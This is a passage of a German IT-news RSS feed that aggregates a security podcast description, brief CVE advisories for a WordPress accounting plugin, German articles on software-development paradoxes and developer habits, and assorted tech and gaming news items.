<content:encoded><![CDATA[<h3>Interview with Adriel Desautels - the pentest is broken</h3> <p>Adriel joins us for a discussion on the state of penetration testing, why it hasn't done much to help security teams over the last 20 years, and why AI won't save it.</p> <p>Segment Resources:</p> <ul> <li><a rel="noopener" target="_blank" href="https://hbr.org/2026/04/boards-are-falling-short-on-cybersecurity"> https://hbr.org/2026/04/boards-are-falling-short-on-cybersecurity</a></li> <li><a rel="noopener" target="_blank" href="https://www.scworld.com/perspective/how-to-build-a-breach-ready-security-posture-without-the-enterprise-price-tag"> https://www.scworld.com/perspective/how-to-build-a-breach-ready-security-posture-without-the-enterprise-price-tag</a></li> <li><a rel="noopener" target="_blank" href="https://netragard.com/blog/what-is-penetration-testing/">https://netragard.com/blog/what-is-penetration-testing/</a></li> </ul> <h3>Topic: Why Meta is destroying its engineering organization</h3> <p>The titular essay: <a rel="noopener" target="_blank" href="https://newsletter.pragmaticengineer.com/p/why-is-meta-destroying-its-engineering"> https://newsletter.pragmaticengineer.com/p/why-is-meta-destroying-its-engineering</a></p> <p>A very interesting analysis of what's going on inside big tech companies as they try to dogfood their own AI hype and tokenmaxx themselves into oblivion. There have been a LOT of stories on this, but this is the most comprehensive and enlightening. A few more are linked below.</p> <p>This is relevant to security, because heavier AI use appears to be linked to a much higher occurrence of availability and security issues.</p> <ul> <li>'Tell Him He's a Piece of Shit': Meta's New AI Unit Is a Total Mess</li> <li>The Newest Instagram "Exploit" is the Goofiest I've Seen</li> <li>Meta CTO Andrew Bosworth Admits the Company's AI Reorg Was 'Atrocious'</li> <li>Meta's months-old AI unit is a soul-crushing gulag, say the engineers stuck inside it</li> </ul> <h3>The Weekly Enterprise News</h3> <p>Finally, in the enterprise security news,</p> <ol> <li>an AI vibe check</li> <li>An AI SOC vendor shuts down</li> <li>Cybersecurity vendor layoffs</li> <li>funding &amp; acquisitions</li> <li>cascading breaches</li> <li>digital estate management</li> <li>criminals don't trust AI either</li> <li>some devs won't code without AI, even if you pay them to</li> <li>Midjourney is now a healthcare company?</li> </ol> <p>All that and more, on this episode of Enterprise Security Weekly.</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/esw">https://www.securityweekly.com/esw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/esw-465">https://securityweekly.com/esw-465</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fixing pentesting, Meta is destroying its engineering org, the weekly news  - ESW #465]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 Interview with Adriel Desautels - the pentest is broken

Adriel joins us for a discussion on the state of penetration testing, why it hasn't done much to help security teams over the last 20 years, and why AI won't save it.

S...]]></description>
<link>https://tsecurity.de/de/3632383/it-security-video/fixing-pentesting-meta-is-destroying-its-engineering-org-the-weekly-news-esw-465/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632383/it-security-video/fixing-pentesting-meta-is-destroying-its-engineering-org-the-weekly-news-esw-465/</guid>
<pubDate>Mon, 29 Jun 2026 11:03:54 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/DRg-qoTIvJE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Interview with Adriel Desautels - the pentest is broken<br />
<br />
Adriel joins us for a discussion on the state of penetration testing, why it hasn't done much to help security teams over the last 20 years, and why AI won't save it.<br />
<br />
Segment Resources:<br />
- https://hbr.org/2026/04/boards-are-falling-short-on-cybersecurity  <br />
- https://www.scworld.com/perspective/how-to-build-a-breach-ready-security-posture-without-the-enterprise-price-tag<br />
- https://netragard.com/blog/what-is-penetration-testing/<br />
<br />
Topic: Why Meta is destroying its engineering organization<br />
<br />
The titular essay: https://newsletter.pragmaticengineer.com/p/why-is-meta-destroying-its-engineering<br />
<br />
A very interesting analysis of what's going on inside big tech companies as they try to dogfood their own AI hype and tokenmaxx themselves into oblivion. There have been a LOT of stories on this, but this is the most comprehensive and enlightening. A few more are linked below.<br />
<br />
This is relevant to security, because heavier AI use appears to be linked to a much higher occurrence of availability and security issues.<br />
<br />
- ‘Tell Him He’s a Piece of Shit’: Meta’s New AI Unit Is a Total Mess<br />
- The Newest Instagram "Exploit" is the Goofiest I've Seen<br />
- Meta CTO Andrew Bosworth Admits the Company’s AI Reorg Was ‘Atrocious’<br />
- Meta’s months-old AI unit is a soul-crushing gulag, say the engineers stuck inside it<br />
<br />
The Weekly Enterprise News<br />
<br />
Finally, in the enterprise security news, <br />
<br />
1. an AI vibe check<br />
2. An AI SOC vendor shuts down<br />
3. Cybersecurity vendor layoffs<br />
4. funding & acquisitions<br />
5. cascading breaches<br />
6. digital estate management<br />
7. criminals don’t trust AI either<br />
8. some devs won’t code without AI, even if you pay them to<br />
9. Midjourney is now a healthcare company?<br />
<br />
All that and more, on this episode of Enterprise Security Weekly.<br />
<br />
Visit https://www.securityweekly.com/esw for all the latest episodes!<br />
<br />
Show Notes: https://securityweekly.com/esw-465<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-9172 | ajitdas Devs Accounting Plugin up to 1.2.0 on WordPress GET Request /v1/delete-account delete_single_account authorization]]></title>
<description><![CDATA[A vulnerability was found in ajitdas Devs Accounting Plugin up to 1.2.0 on WordPress. It has been declared as critical. The affected element is the function delete_single_account of the file /v1/delete-account of the component GET Request Handler. Such manipulation leads to missing authorization....]]></description>
<link>https://tsecurity.de/de/3632022/sicherheitsluecken/cve-2026-9172-ajitdas-devs-accounting-plugin-up-to-120-on-wordpress-get-request-v1delete-account-deletesingleaccount-authorization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632022/sicherheitsluecken/cve-2026-9172-ajitdas-devs-accounting-plugin-up-to-120-on-wordpress-get-request-v1delete-account-deletesingleaccount-authorization/</guid>
<pubDate>Mon, 29 Jun 2026 07:44:09 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/ajitdas:devs_accounting_plugin">ajitdas Devs Accounting Plugin up to 1.2.0</a> on WordPress. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. The affected element is the function <code>delete_single_account</code> of the file <em>/v1/delete-account</em> of the component <em>GET Request Handler</em>. Such manipulation leads to missing authorization.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-9172">CVE-2026-9172</a>. The attack may be performed from remote. There is no available exploit.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-9175 | ajitdas Devs Accounting Plugin up to 1.2.0 on WordPress get-account get_single_account authorization]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in ajitdas Devs Accounting Plugin up to 1.2.0 on WordPress. Affected by this vulnerability is the function get_single_account of the file /devs-accounting/v1/get-account. Such manipulation leads to missing authorization.

This vulnerability is u...]]></description>
<link>https://tsecurity.de/de/3632021/sicherheitsluecken/cve-2026-9175-ajitdas-devs-accounting-plugin-up-to-120-on-wordpress-get-account-getsingleaccount-authorization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632021/sicherheitsluecken/cve-2026-9175-ajitdas-devs-accounting-plugin-up-to-120-on-wordpress-get-account-getsingleaccount-authorization/</guid>
<pubDate>Mon, 29 Jun 2026 07:44:08 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/ajitdas:devs_accounting_plugin">ajitdas Devs Accounting Plugin up to 1.2.0</a> on WordPress. Affected by this vulnerability is the function <code>get_single_account</code> of the file <em>/devs-accounting/v1/get-account</em>. Such manipulation leads to missing authorization.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-9175">CVE-2026-9175</a>. The attack can be launched remotely. No exploit exists.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Die größten Paradoxa der Softwareentwicklung]]></title>
<description><![CDATA[Paradoxe Erlebnisse sind für Softwareentwickler Alltag.Rosemarie Mosteller | shutterstock.com



Vergleicht man den Bau von Brücken mit der Softwareentwicklung, zeigen sich bedeutende Unterschiede: Denn auch wenn keine Brücke – ähnlich wie ein Softwareprojekt – der anderen bis aufs „Haar“ gleicht...]]></description>
<link>https://tsecurity.de/de/3631887/it-security-nachrichten/die-groessten-paradoxa-der-softwareentwicklung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631887/it-security-nachrichten/die-groessten-paradoxa-der-softwareentwicklung/</guid>
<pubDate>Mon, 29 Jun 2026 06:07:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/04/Rosemarie-Mosteller_shutterstock_1976381543_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Signs of Paradoxons 16z9" class="wp-image-3963773" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Paradoxe Erlebnisse sind für Softwareentwickler Alltag.</figcaption></figure><p class="imageCredit">Rosemarie Mosteller | shutterstock.com</p></div>



<p>Vergleicht man den Bau von Brücken mit der Softwareentwicklung, zeigen sich bedeutende Unterschiede: Denn auch wenn keine Brücke – ähnlich wie ein Softwareprojekt – der anderen bis aufs „Haar“ gleicht, werden sie aus bekannten Materialien mit bekannten Eigenschaften geschaffen.  </p>



<p>Im Gegensatz dazu beinhaltet der Softwareentwicklungsprozess wesentlich mehr „<a href="https://www.computerwoche.de/article/3610320/darum-ist-software-verbuggt.html">unknown Unknowns</a>“. Was dazu führt, dass er jede Menge Paradoxa beinhaltet, mit denen Developer teilweise nur schwer umgehen können. Wichtig ist aber vor allem, sich ihre Existenz bewusst zu machen – nur so lassen sich die daraus entstehenden Fallstricke umgehen. Insbesondere, wenn es dabei um die folgenden vier Paradoxa geht.</p>



<h2 class="wp-block-heading">1. Ohne Plan, aber mit Deadline</h2>



<p>Zielführend einzuschätzen, wie lange ein Softwareprojekt dauern wird, ist wahrscheinlich die größte Herausforderung für Softwareentwickler überhaupt. Denn darüber lässt sich keine abschließende, verbindliche Aussage treffen. Sicher, man kann <a href="https://www.computerwoche.de/article/2833936/darum-versagt-ihre-aufwandsschaetzung.html">den ungefähren Aufwand schätzen</a> – das geht im Regelfall allerdings daneben. Meistens wird der zeitliche Aufwand drastisch unterschätzt.</p>



<p>Wird die gesetzte Deadline dann verpasst, ärgern sich vor allem die Kunden. Sie stecken nicht in der Haut der Devs und durchblicken die Abläufe und möglichen Hindernisse (im Regelfall) nicht. Also sind sie frustriert, weil ihre Software nicht zum vereinbarten Zeitpunkt ausgeliefert wird.  </p>



<p>Auch sämtliche Versuche, mit schicken, agilen Methoden wie Story Points oder Planing Poker zielführender vorhersagen zu wollen, wann ein Softwareprojekt abgeschlossen wird, bringen <s>nichts</s> wenig. Wir scheinen einfach nicht in der Lage, <a href="https://en.wikipedia.org/wiki/Hofstadter%27s_law">Hofstadters Gesetz</a> (der Verzögerung) zu überwinden.</p>



<h2 class="wp-block-heading">2. Mehr Mannstärke, mehr Verzug</h2>



<p>Stellt ein Manager einer Fabrik fest, dass die monatliche Quote für abgefüllte Zahnpastatuben in Gefahr ist, setzt er mehr Arbeiter ein, um die Vorgabe zu erfüllen. Ähnlich verhält es sich beim Hausbau: Wenn Sie doppelt so viele Häuser wie im Vorjahr bauen wollen, hilft es in der Regel, die Vorleistungen – Arbeit und Material – zu verdoppeln.</p>



<p>Im Fall der Softwareentwicklung verhält sich das völlig anders, wie Frederick Brooks bereits 1975 in seinem Buch „Vom Mythos des Mann-Monats“ herausgearbeitet hat. Demnach hilft es wenig, verzögerte Softwareprojekte mit zusätzlicher Mannstärke retten zu wollen. Im Gegenteil: Gemäß dem <a href="https://de.wikipedia.org/wiki/Frederick_P._Brooks">Brooks’schen Gesetz</a> verzögert das das Projekt nur noch zusätzlich. Schließlich können neu hinzukommende Teammitglieder nicht sofort zum Projekt beitragen. Sie benötigen Zeit, um sich in den Kontext komplexer Systeme einzuarbeiten, was oft auch zusätzliche Kommunikationsmaßnahmen nach sich zieht. Am Ende verzögert sich dann nicht nur alles noch weiter – es kostet auch mehr.</p>



<h2 class="wp-block-heading">3. Mehr Skills, weniger Programmier-Tasks</h2>



<p>Als Softwareentwickler umfassende Expertise aufzubauen und sämtliche erforderlichen Regeln und Feinheiten zu verinnerlichen, um <a href="https://www.computerwoche.de/article/2824308/so-entwickeln-sie-besser.html">wartbaren, sauberen Code</a> zu schreiben, nimmt etliche Jahre in Anspruch. Dabei erscheint es auch relativ paradox, dass die Programmieraufgaben mit steigender Erfahrung eher weniger werden: Statt zu programmieren, sitzen leitende Entwickler vor allem in Design-Meetings, überprüfen den Code anderer und übernehmen weitere Führungsaufgaben.  </p>



<p>Das heißt zwar nicht, dass <a href="https://www.computerwoche.de/article/2834999/3-dinge-die-senior-developer-auszeichnen.html">Senior Developer</a> einen kleineren Beitrag leisten. Schließlich sorgen sie in Führungspositionen dafür, dass zeitgemäß und zielführend gearbeitet wird und tragen so wesentlich zum Team- und Unternehmenserfolg bei. Aber am Ende schreiben sie dennoch weniger Code.</p>



<h2 class="wp-block-heading">4. Bessere Tools, keine Zeitvorteile</h2>



<p>Vergleicht man die Webentwicklung von heute mit performanten Tools wie <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html">React</a>, <a href="https://www.computerwoche.de/article/3834789/astro-tutorial-plug-play-webentwicklung.html">Astro</a> und Next.js mit dem Gebaren von vor 30 Jahren (Stichwort <a href="https://en.wikipedia.org/wiki/Common_Gateway_Interface">Common Gateway Interface</a>), wird klar, dass wir uns seitdem um Lichtjahre weiterentwickelt haben. Doch obwohl unsere Tools immer besser und die Prozessoren immer schneller werden, scheinen sich Softwareprojekte insgesamt nicht zu beschleunigen. Das wirft Fragen auf:</p>



<ul class="wp-block-list">
<li>Unsere Websites sehen zwar immer besser aus, aber sind wir wirklich produktiver?</li>



<li>Laufen unsere Websites schneller und verarbeiten sie Daten besser?</li>
</ul>



<p>Natürlich abstrahieren die Frameworks und Bibliotheken von heute viele Komplexitäten. Sie führen aber auch zu neuen Problemen. Zum Beispiel langen Build-Pipelines, Konfigurationsalbträumen oder Abhängigkeitsproblemen. (fm)</p>



<p><strong>Sie wollen weitere interessante Beiträge zu diversen Themen aus der IT-Welt lesen? </strong><a href="https://www.computerwoche.de/newsletter-anmeldung/"><strong>Unsere kostenlosen Newsletter</strong></a><strong> liefern Ihnen alles, was IT-Profis wissen sollten – direkt in Ihre Inbox!</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GMKtec's K13 mini PC is 'a thoughtfully engineered slice of modern computing' that just hit its lowest ever price with 43% off for Prime Day]]></title>
<description><![CDATA[Our tests showed this mini PC was perfect for AI devs, content creation, and getting down to business. And now, it's just $540.]]></description>
<link>https://tsecurity.de/de/3628747/it-nachrichten/gmktecs-k13-mini-pc-is-a-thoughtfully-engineered-slice-of-modern-computing-that-just-hit-its-lowest-ever-price-with-43-off-for-prime-day/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628747/it-nachrichten/gmktecs-k13-mini-pc-is-a-thoughtfully-engineered-slice-of-modern-computing-that-just-hit-its-lowest-ever-price-with-43-off-for-prime-day/</guid>
<pubDate>Sat, 27 Jun 2026 01:47:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Our tests showed this mini PC was perfect for AI devs, content creation, and getting down to business. And now, it's just $540.]]></content:encoded>
</item>
<item>
<title><![CDATA[Mystery hackers use novel SharkLoader dropper against governments, software devs]]></title>
<description><![CDATA[Kaspersky researchers have uncovered a previously unknown cyberattack campaign that has compromised government organizations and software development companies in multiple countries. They first stumbled onto the campaign while investigating an attack on a diplomatic organization in Indonesia. Wha...]]></description>
<link>https://tsecurity.de/de/3626930/it-security-nachrichten/mystery-hackers-use-novel-sharkloader-dropper-against-governments-software-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626930/it-security-nachrichten/mystery-hackers-use-novel-sharkloader-dropper-against-governments-software-devs/</guid>
<pubDate>Fri, 26 Jun 2026 11:37:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kaspersky researchers have uncovered a previously unknown cyberattack campaign that has compromised government organizations and software development companies in multiple countries. They first stumbled onto the campaign while investigating an attack on a diplomatic organization in Indonesia. What initially looked…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/mystery-hackers-use-novel-sharkloader-dropper-against-governments-software-devs/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/mystery-hackers-use-novel-sharkloader-dropper-against-governments-software-devs/">Mystery hackers use novel SharkLoader dropper against governments, software devs</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mystery hackers use novel SharkLoader dropper against governments, software devs]]></title>
<description><![CDATA[Kaspersky researchers have uncovered a previously unknown cyberattack campaign that has compromised government organizations and software development companies in multiple countries. They first stumbled onto the campaign while investigating an attack on a diplomatic organization in Indonesia. Wha...]]></description>
<link>https://tsecurity.de/de/3626881/it-security-nachrichten/mystery-hackers-use-novel-sharkloader-dropper-against-governments-software-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626881/it-security-nachrichten/mystery-hackers-use-novel-sharkloader-dropper-against-governments-software-devs/</guid>
<pubDate>Fri, 26 Jun 2026 11:23:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kaspersky researchers have uncovered a previously unknown cyberattack campaign that has compromised government organizations and software development companies in multiple countries. They first stumbled onto the campaign while investigating an attack on a diplomatic organization in Indonesia. What initially looked like an isolated incident revealed a global operation they’ve dubbed StrikeShark, due to the attackers’ use of a previously unknown dropper the researchers named SharkLoader. How the attackers get in The attackers gain access either … <a href="https://www.helpnetsecurity.com/2026/06/26/sharkloader-dropper-governments-software-developers/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/26/sharkloader-dropper-governments-software-developers/">Mystery hackers use novel SharkLoader dropper against governments, software devs</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Read Bungie's statement as Sony PlayStation layoffs come down on its Destiny 2 and Marathon devs — "we wish to extend our gratitude and compassion"]]></title>
<description><![CDATA[As layoffs from Sony hit the studio hard, Destiny 2 and Marathon dev Bungie shares a heartfelt letter with its community and employees.]]></description>
<link>https://tsecurity.de/de/3625639/windows-tipps/read-bungies-statement-as-sony-playstation-layoffs-come-down-on-its-destiny-2-and-marathon-devs-we-wish-to-extend-our-gratitude-and-compassion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625639/windows-tipps/read-bungies-statement-as-sony-playstation-layoffs-come-down-on-its-destiny-2-and-marathon-devs-we-wish-to-extend-our-gratitude-and-compassion/</guid>
<pubDate>Thu, 25 Jun 2026 20:41:36 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As layoffs from Sony hit the studio hard, Destiny 2 and Marathon dev Bungie shares a heartfelt letter with its community and employees.]]></content:encoded>
</item>
<item>
<title><![CDATA[Sony announces major layoffs at Bungie, including most of the Destiny team]]></title>
<description><![CDATA[Some devs working on Marathon have also been laid off and studio head Justin Truman has stepped down.]]></description>
<link>https://tsecurity.de/de/3625471/it-nachrichten/sony-announces-major-layoffs-at-bungie-including-most-of-the-destiny-team/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625471/it-nachrichten/sony-announces-major-layoffs-at-bungie-including-most-of-the-destiny-team/</guid>
<pubDate>Thu, 25 Jun 2026 19:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some devs working on Marathon have also been laid off and studio head Justin Truman has stepped down.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Starts Lowering Play Store Fees, Making Good On Epic Games Settlement]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: Google spent the last few years locked in a legal grudge match with Epic Games, which claimed that Google's stewardship of the Play Store was anticompetitive. Now, the companies are thick as thieves, and Google is beginning to implement app s...]]></description>
<link>https://tsecurity.de/de/3625061/it-security-nachrichten/google-starts-lowering-play-store-fees-making-good-on-epic-games-settlement/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625061/it-security-nachrichten/google-starts-lowering-play-store-fees-making-good-on-epic-games-settlement/</guid>
<pubDate>Thu, 25 Jun 2026 17:23:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: Google spent the last few years locked in a legal grudge match with Epic Games, which claimed that Google's stewardship of the Play Store was anticompetitive. Now, the companies are thick as thieves, and Google is beginning to implement app store changes as agreed in its settlement with Epic. The lower developer fees and new payment options that Google promised are rolling out in select markets this month before expanding. [...] Starting on June 30, developers in Europe, the UK, and the US will have access to the new fee structure. This system will split the commission into two components: billing and service fees.
 
The biggest win for small developers is the new flat 10 percent service fee for the first $1 million in earnings every year. Above that, the rate for various transaction types may reach 25 percent on existing installs. Apps installed after June 30 will top out at 20 percent. Developers will finally be allowed to send users outside the Play Store to complete a transaction, too. Google says they can design a choice screen "in accordance with our UX guidelines" to direct users to these external options. Devs pay the standard service fee on these purchases, but they'll avoid the billing fee. All transactions that run through Google's Play Store platform add a 5 percent billing fee -- even the base rate for publishers earning less than $1 million. Google notes that the billing fee is set at 5 percent in the initial markets, but it could be different in other regions. Google will expand the new fee structure globally through September 2027, while also offering reduced fees through updated developer programs.
 
Although the changes may let developers retain more revenue, Google will continue controlling Android distribution and collecting a share of sales as it works toward allowing certified third-party app stores to operate more like the Play Store.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google+Starts+Lowering+Play+Store+Fees%2C+Making+Good+On+Epic+Games+Settlement%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F25%2F0554234%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F25%2F0554234%2Fgoogle-starts-lowering-play-store-fees-making-good-on-epic-games-settlement%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/25/0554234/google-starts-lowering-play-store-fees-making-good-on-epic-games-settlement?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Splitgate devs return with 'EMPULSE', a Titanfall inspired movement shooter]]></title>
<description><![CDATA[Attempting to pull in some fans of Titanfall for multiplayer action, the developers of Splitgate have released EMPULSE into Early Access.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3624164/linux-tipps/splitgate-devs-return-with-empulse-a-titanfall-inspired-movement-shooter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624164/linux-tipps/splitgate-devs-return-with-empulse-a-titanfall-inspired-movement-shooter/</guid>
<pubDate>Thu, 25 Jun 2026 12:54:07 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Attempting to pull in some fans of Titanfall for multiplayer action, the developers of Splitgate have released EMPULSE into Early Access.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/2095599852id29281gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/splitgate-devs-return-with-empulse-a-titanfall-inspired-movement-shooter/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get a HP Omen RTX 5090 desktop for under $2740 — the ultimate workstation for AI devs, creative pros, and STEM students heading back to school]]></title>
<description><![CDATA[Serious horsepower under the hood.]]></description>
<link>https://tsecurity.de/de/3622863/it-nachrichten/get-a-hp-omen-rtx-5090-desktop-for-under-2740-the-ultimate-workstation-for-ai-devs-creative-pros-and-stem-students-heading-back-to-school/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622863/it-nachrichten/get-a-hp-omen-rtx-5090-desktop-for-under-2740-the-ultimate-workstation-for-ai-devs-creative-pros-and-stem-students-heading-back-to-school/</guid>
<pubDate>Wed, 24 Jun 2026 23:18:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Serious horsepower under the hood.]]></content:encoded>
</item>
<item>
<title><![CDATA[9 Unsitten, die Entwickler nicht ablegen können]]></title>
<description><![CDATA[Laster, die eigentlich keine sind, sollte man möglicherweise nicht ablegen.
					Foto: Anton Vierietin | shutterstock.com




Softwareentwickler haben eine merkwürdige Beziehung zu Regelwerken. Einerseits ist Programmcode quasi ein riesiger Haufen von Regeln, der von pflichtbewussten maschinellen...]]></description>
<link>https://tsecurity.de/de/3620166/it-security-nachrichten/9-unsitten-die-entwickler-nicht-ablegen-koennen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620166/it-security-nachrichten/9-unsitten-die-entwickler-nicht-ablegen-koennen/</guid>
<pubDate>Wed, 24 Jun 2026 06:08:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Laster, die eigentlich keine sind, sollte man möglicherweise nicht ablegen." title="Laster, die eigentlich keine sind, sollte man möglicherweise nicht ablegen." src="https://images.computerwoche.de/bdb/3392713/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Laster, die eigentlich keine sind, sollte man möglicherweise nicht ablegen.</p></figcaption></figure><p class="imageCredit">
					Foto: Anton Vierietin | shutterstock.com</p></div>




<p><a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" title="Softwareentwickler" target="_blank">Softwareentwickler</a> haben eine merkwürdige Beziehung zu Regelwerken. Einerseits ist Programmcode quasi ein riesiger Haufen von Regeln, der von pflichtbewussten maschinellen Gatekeepern immer und immer wieder durchgesetzt wird. Allerdings gibt es da noch einen anderen Layer von Regeln, die weniger sakrosankt, sondern vielmehr äußerst flexibel sind: die Regeln, die Entwickler an sich selbst anlegen, beziehungsweise an das, was sie tun. </p>



<p>Wobei es per se nichts Schlechtes ist, mit bewährten Regeln auch einmal zu brechen. Zum Beispiel, wenn letztere hoffnungslos veraltet oder von vorneherein unausgegoren sind. Manche vermeintliche Unsitte kann dabei unter Umständen auch zum Vorteil gereichen. Zum Beispiel die folgenden neun.</p>



<h3 class="wp-block-heading">1. Kommentarloser Code</h3>



<p>Dass undokumentierter Code ein Alptraum ist, wenn man ihn verstehen will oder Fehler sucht, ist bekannt. Darum wird auch in jedem Dev-Seminar beständig vermittelt, dass sinnvolle Code-Kommentare unerlässlich sind. Der Programmierstil des “<a href="https://en.wikipedia.org/wiki/Literate_programming" title="Literate Programming" target="_blank" rel="noopener">Literate Programming</a>” kombiniert sogar Code und natürliche Sprache – und wurde von Don Knuth erfunden, einem der größten Developer überhaupt.</p>



<p>Die traurige Wahrheit: Manchmal machen Code-Kommentare alles nur noch schlimmer. Zum Beispiel, wenn der Eindruck entsteht, dass Programmcode und Dokumentation nur rudimentär etwas miteinander zu tun haben. Eventuell hat ein Programmierer auch einen kritischen Patch eingefügt und vergessen, das Dokumentations-Team darüber zu informieren. Vielleicht weiß letzteres auch darum, konnte sich aber bislang noch nicht dazu durchringen, die Kommentare zu aktualisieren. Im Alltag kommen viele weitere Probleme hinzu, beispielsweise, wenn Kommentare in Fremdsprachen verfasst oder schlicht nicht korrekt sind.</p>



<p>Im Umkehrschluss gehen einige Entwickler davon aus, dass das beste Mittel gegen nutzlose Kommentare sei, diese möglichst spärlich zu verwenden – oder gar nicht. Stattdessen ziehen diese Devs es vor, einfache, kürzere Funktionen zu schreiben, die längere, beschreibende Variablennamen verwenden.</p>



<h3 class="wp-block-heading">2. Langsamer Code</h3>



